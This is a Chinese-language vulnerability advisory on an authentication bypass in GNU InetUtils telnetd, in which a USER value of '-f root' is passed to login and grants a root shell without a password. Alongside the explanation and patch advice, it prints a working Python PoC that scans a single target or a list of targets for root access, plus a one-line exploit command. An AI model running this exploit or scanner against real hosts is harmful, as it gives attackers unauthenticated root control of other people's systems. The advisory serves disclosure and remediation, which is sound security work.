Vulnerability Description
GNU InetUtils telnetd 是 GNU InetUtils 套件中的远程登录服务守护进程,监听 TCP 23 端口,为客户端提供基于 Telnet 协议的明文终端接入能力。主流 Linux 发行版在安装 telnet 服务器时默认选择不是 inetutils-telnetd,但依旧作为可选项存在于官方仓库中。
telnetd 在调用系统 /usr/bin/login 程序时,未对从客户端 USER 环境变量传入的用户名做过滤,直接拼接到 login 命令行。未经授权的远程攻击者可利用该缺陷,在无需任何口令的情况下直接获取目标主机的 root shell,造成完全控制权泄露、敏感信息被窃取或进一步横向移动。
受影响范围
- 受影响软件:GNU Inetutils
- 受影响组件:
telnetd守护进程 - 受影响版本:1.9.3 至 2.7
Principle
当 telnetd 接收到客户端的连接请求时,它会准备参数并调用 login 程序来处理认证。在受影响的版本中,telnetd 将客户端传入的 USER 环境变量直接用于构建 login 的参数列表,而未进行充分的过滤或分隔符处理。
char *user = get_env_var(“USER”); // 从客户端获取,攻击者可控
char *argv[] = { “login”, “-h”, host, “-p”, user, NULL };
execv(“/bin/login”, argv);
在常见的 Linux/Unix 系统中,longin都支持 -f(force) 参数:
该参数:-f username 告诉 login 程序,用户已经通过了认证(Pre-authenticated),不需要再输入密码。
这通常由 rlogind 或其他受信任的守护进程使用。
流程示意

漏洞复现:
环境准备:靶场下载(≖ᴗ≖๑)
启动环境:

POC验证:
!/usr/bin/env python3
import sys
import argparse
import shutil
import os
import pexpect
def check_telnet():
if not shutil.which(“telnet”):
print(“[ERROR] telnet client not found. Please install ‘telnet’.”)
sys.exit(1)
os.environ[“USER”] = “-f root”
ROOT_PATTERN = “uid=0(root)”
def check_target(target, port=23, timeout=5):
try:
child = pexpect.spawn(f”env USER=’-f root’ telnet -a {target} {port}”, timeout=timeout)
idx = child.expect([r”[#$] “, r”root@.*[#$] “, pexpect.TIMEOUT, pexpect.EOF], timeout=timeout)
if idx in [0, 1]:
child.sendline(“id”)
idx2 = child.expect([ROOT_PATTERN, r”[#$] “, pexpect.TIMEOUT, pexpect.EOF], timeout=timeout)
output = child.before.decode(errors=”ignore”) + child.after.decode(errors=”ignore”)
if ROOT_PATTERN in output:
print(f”[VULNERABLE] {target}:{port} -> {output.strip()}”)
child.sendline(“exit”)
child.close()
return True
else:
print(f”[NOT VULNERABLE] {target}:{port}”)
elif idx == 2:
print(f”[TIMEOUT] {target}:{port}”)
elif idx == 3:
print(f”[REFUSED] {target}:{port}”)
child.close()
except Exception as e:
print(f”[ERROR] {target}:{port}: {e}”)
return False
def load_targets(file):
with open(file, “r”) as f:
return [line.strip() for line in f if line.strip() and not line.startswith(“#”)]
def main():
check_telnet()
parser = argparse.ArgumentParser(description=”CVE-2026-24061 telnetd auth bypass PoC”)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(“-t”, “–target”, help=”Target IP or hostname”)
group.add_argument(“-f”, “–file”, help=”File with targets list”)
parser.add_argument(“-p”, “–port”, type=int, default=23, help=”Telnet port”)
parser.add_argument(“-T”, “–timeout”, type=int, default=5, help=”Network timeout”)
args = parser.parse_args()
targets = [args.target] if args.target else load_targets(args.file)
print(f”Loaded {len(targets)} target(s)”)
found = False
for t in targets:
if check_target(t, args.port, args.timeout):
found = True
sys.exit(0 if found else 1)
if name == “main“:
main()

EXP:
USER =’-f root’ telnet -a ip port

Repair Suggestions
GNU Inetutils 维护团队已发布紧急补丁;
立即停止使用 Telnet: 这是最彻底的方案。Telnet 是明文传输协议,本质上是不安全的。请全面迁移至 SSH (OpenSSH)。
防火墙策略: 如果必须保留 Telnet,请严格限制 TCP 23 端口的访问权限,仅允许受信任的内网 IP 连接。
升级软件包: 各大 Linux 发行版(Ubuntu, Debian, RedHat 等)正在紧急推送 inetutils-telnetd 的安全更新,请立即执行 apt update && apt upgrade。


